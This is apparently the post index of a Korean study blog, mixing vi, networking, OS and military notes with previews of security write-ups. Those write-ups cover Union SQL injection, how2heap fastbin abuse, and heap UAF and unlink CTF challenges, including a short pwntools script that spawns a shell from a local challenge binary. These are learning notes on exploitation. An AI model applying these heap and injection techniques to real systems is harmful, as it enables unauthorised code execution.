본문 바로가기

COMPUTER435

3/13 vicommand mode 와 edit mode 가 있다esc로 edit mode->command modea(다음 커서부터)/i(자기 커서부터)/o(다음 줄부터)로 command mode->edit mode h :wq 저장하고 빠져나온다:q! 그냥 빠져나온다:w 저장만:w file 다른 이름으로 저장:w! file 기존 파일 존재해도 덮어쓰기!:q! 변경사항 저장 안하고 무작정 빠져나오기 /etc/passwd pwd 홈 디렉토리(~) ^ 첫번째 컬럼$ 끝을 의미한다 :13, $ d:1, $ s/root/toor/g:1, $ s/^/3333/c:1, $ s/$/3333/c 진짜 달러를 넣고 싶으면 $ 를 사용! *diff 파일명A 파일명B 2018. 3. 13.
3/12 network device connectivity node는 두가지로 나뉜다.RFC1122 says, end-host, router(intermediate node) tcp-ip의 인터넷에서는 end-host와 intermediate node는 layer가 같지 않다! link는 두가지 유선, 무선 packet switch: 길이는 variable circuit switch Internet: network of networksInternet standards: RFC, IETF(Internet Engineering Task Force) infrastructure : Access point+Destinationhost가 아닌 것들! 즉, intermediate node가 있으면-infrastructure(.. 2018. 3. 12.
3/12 CPU, Memory, Input and Output---system bus--- Control bus Address bus Data bus Internal hard drive CPU Input and Output 은 조금 느려! CPUMemory보다! CPU는 4개이지만 더 여러개의 프로그램을 돌릴 수 있다->illusion within the standard C library->kernel mode then, OS가 printf를 실행시켜주다! -> then return to the user mode Input and Output은 memory에 비해 매우 느리다! 그래서 Input and Output을 기다리는 동안 CPU는 다른 작업을 하게 된다. OS가 제공하는 프로토콜에 따라 컴파일 해야 하므.. 2018. 3. 12.
3/12 블루포스: 아군레드포스: 적군 인민군(북한) 중공군(중국) 레드아미(소련) 엄폐: cover 가리는 것 은폐: 감추는것 몸이 보이지 않게바위 뒤에 숨는것: 공중에서는 보인다! 은폐가 될 수 없다 매복: ambush 전략적 수준(국가적 차원)/작전적 수준/전술적 수준 전략적 수준: 국가 전략적 수준(청와대/국가안보실), 군사 전략적 수준(국방부/합참) 작전적 수준: 작전술을 적용하여 전역(Campaign: 주어진 시간과 공간 내에서 전략적 또는 작전적 목표를 달성하기 위해 실시하는 일련의 연관된 군사작전)과 주요 작전을 수행하는 수준전술에 유리한 상황을 조성(shaping)하며 전술적 수준에서 달성한 성과를 확대하여 궁극적으로 전략적 승리로 귀결시킴 국가전쟁지도기구: 청와대 혹은 대통령이 있는 곳국방부: .. 2018. 3. 12.
Union SQL Injection 참고 사이트https://m.blog.naver.com/PostView.nhn?blogId=koromoon&logNo=120172851234&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION이라는 SQL 연산자를 이용한 SQL Injection 공격 공격자는 이 연산자를 이용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어낸다 조건: 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 하며 해당 결과 집합 컬럼은 호환되는 데이터 형식을 가져야 한다! UNION의 결과 집합 컬럼 이름은 UNION의 첫 번째 SELECT문의 결과 집합에 있는 컬럼 이름과 동일, 다른 SELECT무느이 결과 집합 컬럼 이름은 무시됨.. 2018. 3. 5.
how2heap-fastbin_dup_into_stack This file extends on fastbin_dup.c by tricking malloc intoreturning a pointer to a controlled location (in this case, the stack).The address we want malloc() to return is 0x7fff16112800.Allocating 3 buffers.1st malloc(8): 0x12d80102nd malloc(8): 0x12d80303rd malloc(8): 0x12d8050Freeing the first one...If we free 0x12d8010 again, things will crash because 0x12d8010 is at the top of the free list... 2018. 2. 18.
chal2-heap uaf heap uaf- 구조가 딱 보아하니malloc->free->mallocUAF 구만! 풀어보니,, 너무 간단!ptr=v0이고, free(ptr)을 하기는 하지만, 다시 v2=malloc(0x14)가 이루어질 때,ptr=v0=v2가 된다.그래서 v2에 scanf를 받을 때! 0x4007d8을 줘서, 마지막에 ptr이 실행될때, scanf받은애가 실행되게 된다! 이때 0x4007d8부분에 system("/bin/sh")부분이 있다! from pwn import *sh=0x4007d8s=process('./chal2')#raw_input()print s.recv(1024)s.send("4196312\n")s.send("\x00\x00")print s.recv(1024)s.interactive()s.close() 2018. 2. 18.
chal1-heap unlink heap unlink문제- 기존에 풀었던 chal1과는 다른 문제!heap문제이고 unlink는 직접 구현되어 있다. heap주소를 출력해줘서 릭 가능하다 힙에 쉘코드를 넣어놓고, puts의 got에 쉘코드의 주소를 넣어주면 된다! 근데, 여기서 문제는 unlink과정에서 주소가 덮어진다는 것이다! 1 prev_size size(0x21) data: 2의 주소 2 여기서부터 입력을 받아요!prev_size size data: 3의 주소 1의 주소3 prev_size size data: 0 2의 주소 2의 주소를 인자로 받는다! unlink에서!2의 데이터를 v1에(3의 주소)2의 데이터+8을 v2에(1의 주소) [v1+8] 2018. 2. 18.
Double Free BUG unlink Double Free Bug는 free()함수가 수행되는 과정 중 unlink라는 매크로 에 의해 발생한다! 32비트FD+12->BK BK+8->FD 64비트FD+24->BKBK+16->FD unlink가 이루어지는 경우 1) free된 chunk가 다시 malloc되는 경우! bin리스트는 double linked list로 관리되는데(fast bin은 single linked list) double linked list중 중간에 있는 chunk가 나가게 되면 그 앞과 뒤를 다시 연결해주는 작업이 필요하다! 2) chunk의 사이즈가 증가하여 다른 bin리스트로 이동하는 경우! 어떤 chunk가 free되었을 때, 연속된 위치의 다른 chunk가 free되어 있다면 두 chunk를 합병하여 하나로 만들.. 2018. 2. 17.